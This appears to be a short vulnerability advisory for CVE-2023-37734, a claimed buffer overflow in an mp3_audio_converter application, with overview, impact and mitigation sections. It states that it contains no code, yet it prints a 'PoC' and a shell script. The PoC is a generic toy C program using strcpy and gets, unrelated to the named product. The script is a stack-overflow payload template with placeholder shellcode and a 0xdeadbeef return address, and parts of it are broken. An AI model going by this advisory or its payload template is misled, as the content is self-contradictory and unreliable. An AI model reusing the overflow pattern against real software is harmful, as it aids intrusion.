CVE-2023–37734 Buffer-overflow in mp3_audio_converter

Title: mp3_audio_converter Vulnerable to Buffer Overflow

http://www.ezsoftmagic.com/mp3_audio_converter.htm#Testimonials

Description:
This GitHub Gist highlights the presence of a buffer overflow vulnerability in an mp3_audio_converter application. The vulnerability could potentially allow an attacker to execute arbitrary code or crash the application by overflowing a buffer with excessive data. Please note that this Gist does not include any actual code but provides a high-level overview of the issue for informational purposes.

Overview:
The mp3_audio_converter is a software application designed to convert audio files to the MP3 format. Unfortunately, it contains a buffer overflow vulnerability that can be exploited under certain conditions. Buffer overflow occurs when a program writes data beyond the allocated memory space of a buffer, leading to memory corruption.

Vulnerability Details:
The buffer overflow vulnerability in the mp3_audio_converter arises from inadequate bounds checking while handling user-supplied input. If an attacker can provide malicious input that exceeds the size limits of a buffer, they can overwrite adjacent memory regions and potentially execute arbitrary code or crash the application.

PoC:
#include <stdio.h>
#include <string.h>

void vulnerableFunction(char *input) {
char buffer[10];
strcpy(buffer, input);
printf(“Buffer: %s\n”, buffer);
}

int main() {
char input[20];
printf(“Enter input: “);
gets(input); // Vulnerable function that does not check buffer boundaries
vulnerableFunction(input);
return 0;
}

Shell:
#!/bin/bash

# Compile and run the vulnerable C program
gcc -o vulnerable vulnerable.c
./vulnerable

# Python script to trigger buffer overflow
cat <<EOF > exploit.py
import struct

# Shellcode to execute (replace with your own)
shellcode = “\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90”

# Offset to the return address (adjust based on your environment)
offset = 64

# Craft the payload
payload = “A” * offset
payload += struct.pack(“<Q”, 0xdeadbeef) # Replace with the desired return address
payload += shellcode

# Send the payload
print(payload)
EOF

# Run the exploit script
python exploit.py | ./vulnerable

Impact:
Exploiting the buffer overflow vulnerability in the mp3_audio_converter can have severe consequences, including remote code execution or denial of service. An attacker who successfully exploits this vulnerability may gain control over the affected system, potentially compromising user data or taking complete control of the application.

Mitigation:
To address this vulnerability, it is crucial to implement secure coding practices and ensure robust input validation and bounds checking. The developers of the mp3_audio_converter should review their codebase, identify potential buffer overflow points, and implement appropriate safeguards, such as input sanitization and buffer size checks, to prevent these vulnerabilities.

Additionally, it is recommended to conduct thorough security assessments, including code audits and penetration testing, to identify and fix any potential vulnerabilities. Timely software updates and patches should be released to address the buffer overflow vulnerability in the mp3_audio_converter application.